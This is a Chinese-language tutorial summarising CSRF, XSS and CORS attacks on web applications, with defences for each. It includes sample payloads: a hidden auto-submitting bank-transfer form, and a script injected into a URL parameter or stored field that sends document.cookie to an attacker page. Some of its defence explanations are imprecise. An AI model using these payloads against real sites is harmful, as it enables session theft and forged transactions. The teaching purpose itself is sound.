js攻击总结

CSRF / XSRF (Cross-site request forgery)

跨站请求伪造。指的是攻击者通过向用户页面注入一段可以引起请求的代码,在用户未意识到的情况下请求某些网站的一种攻击。
攻击原理如下:

由图可见,要完成 CSRF 攻击,用户需完成两个步骤:

  • 访问受信任网站 A,在本地生成 cookie
  • 在 cookie 未过期之前访问危险网站 B

对于用户来说,只要以上步骤有一个未发生就可避免攻击,但是,用户无法保证:

  • 在访问 A 网站的时候不开个新页面访问 B 网站。
  • 每次访问 B 网站都能保证 A 的 cookie 已过期
  • 图中所谓的攻击网站,可能也只是个嵌入了攻击信息的可信任的经常被人访问的网站

一般来说,在用户登录的时候,服务器会返回 cookie 给客户机,客户机之后发出的每个请求中都带有这个 cookie,提供身份认证及其他信息。攻击者通过广告等方式,诱导被攻击方浏览器发起自己想要的请求,这样被攻击方的身份信息也会随着请求一起发出去,以达到攻击目的。
也就是说,CSRF 的关键就是被攻击者的 cookie.

场景举例

  • html 中含 get 请求 <img src="http://example.org/buy.php?symbol=SCOX&shares=1000" />
  • 内含 iframe post 攻击
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <html>
      <head>
        <script type="text/javascript">
          function steal()
          {
         iframe = document.frames["steal"];
          iframe.document.Submit("transfer");
          }
        </script>
      </head>
      <body onload="steal()">
        <iframe name="steal" display="none">
          <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
            <input type="hidden" name="toBankId" value="11">
            <input type="hidden" name="money" value="1000">
          </form>
        </iframe>
      </body>
    </html>

CSRF 防御

CSRF的防御可从客户机和服务机两方面着手。

客户机

  • 请求头中带上 token 并在服务端验证
    CSRF 之所以可以请求成功是因为请求需要的信息全部存在于 cookie 中,要是请求需要除 cookie 之外的信息,那么就算攻击者的请求带上了 cookie 也不能成功。
    token 验证在用户登录时产生,并放置于 session 中,用户可以通过如登录请求返回值之类的方式获取这个值,然后以后的每次请求都带上这个值,客户端每次接受请求都会判断拿到的 token 是否与 session 中的一致,如果不一致,就被判定为 csrf 攻击并丢弃。
    (这种方式难以保证 token 的安全,比如黑客可以诱导用户访问自己的网站,而请求信息中就包含了 token,也会被获取到,从而开始攻击)
  • HTTP 头中自定义属性并验证
    也是 token 验证的一种,不过 token 不是放在 http 的请求体中,而是通过 XMLHttpRequest.setRequestHeader(“xsrftoken”, “xxx”) 将 token 信息放置到 http 头部
    (这种方式只支持 ajax 请求,局限性太大)

服务机

  • HTTP referer字段
    http 头部的 referer 字段记录发起请求的源地址,如果是页面中的 button 的形式的请求,那么该值与 Request URL 中的值的 host 部分应该是相同的。而若是例子中的 CSRF,则 referer host部分是攻击者的 host,因此,可以在某些敏感操作(如转账)等操作之前验证 referer 的合法性。
    (这种方法依赖于客户端提供的信息,高版本浏览器中没有问题,但是 IE6 等低版本浏览器中可以被伪造,所以并非万无一失)

XSS (Cross-site Scripting)

跨站脚本攻击。利用网站的 xss 漏洞在用户浏览器中运行攻击者的恶意脚本,达成某种目的的攻击。比如:

  • 脚本获取用户的 cookie 信息
  • 获取用户权限,使用 web 应用
  • 可以向用户页面嵌入伪造的数据表单,以钓鱼方式获取用户信息

xss 攻击分两种: DOM Based XSS 和 Stored XSS

DOM Based XSS

若发现页面中某些内容显示的是该页面 url 中的某个参数,那么可以通过改变参数内容达到攻击目的。

  • 若 A 网站内某页面 url 为 www.a.com?name=ewangsf 而 name 参数直接显示在页面右上角 “Hello ewangsf!”,那么可以构造一个 url : www.a.com?name=<script>window.open("www.b.com?data=" + document.cookie)</script>,这里 www.b.com 是攻击者的页面,在该页面内可以获取到 www.a.com 的 cookie 信息。
  • 主机 C 提供免费 wifi,开启特殊的 DNS 将所有域名都解析到 C 上,并将 wifi 的 DHCP-DNS 设置为 C 的 IP,这样所有连着这个 wifi 的电脑发出的请求都会被 C 截获,C 将请求正常发出到目标服务器上,但是在响应返回的时候,往响应体内注入脚本实现攻击目的
    这种攻击方式危害不大,因为受害者必须主动点击才能被攻击。

    Stored Based XSS

    用户输入的数据中可以包含攻击代码,这些信息被原样存储到数据库中,则每个能看到该数据的人都会被攻击。
  • 用户在某个表单的 intro 字段中输入: <script>window.open("www.b.com?data=" + document.cookie)</script>,假设该字段未被做任何处理,则所有可以看到这个介绍文字的人的 cookie 都会被上传到攻击者网站中

这种攻击模式下,所有看得到文本的用户都会被攻击,范围广,危害大。


XSS 防御

  • 对于输入值做过滤,只允许合法的值,如数量表单只允许输入数字,邮件只允许数字字母和@符号和.符号
  • 自定义白名单,对于 html 中的属性做过滤,如去掉所有除 title 之外的属性
  • HTML encode: < => &lt; > => &gt; & => &amp; " => &quot;
    可以使用正则匹配或者依照第三方库的方式完成。

CORS (Cross-origin Resource Sharing)

HTML5 中允许了 CORS 的跨域方式,放松了请求的限制,只要在服务器中配置 Access-Control-Allow-Origin ,将需要允许的域名加到配置值中,就可以实现跨域。这种方式同样也带来一些风险

  • 只要请求头中的 Origin 是允许的值请求就会被允许,但是请求头是可以被伪造的
  • 如果请求客户方被入侵,黑客利用客户机提交危险操作,比如删除账户等
  • 如果请求服务方被入侵,制造了些有害数据,若客户方未加保护地展现数据可能会导致某些不可预料的后果
  • 黑客可以在某些存在 xss 漏洞的页面上注入脚本,一旦客户机访问了这些页面,就会向服务机请求,将结果发送给攻击者

CORS 防御

  • 在跨域请求中要求身份验证,如 sessionID 和 cookie
  • 服务方尽量少地暴露的接口,仅允许必须的操作
  • 通过对 http 头的判断,尽可能多地过滤非法请求和可疑请求

参考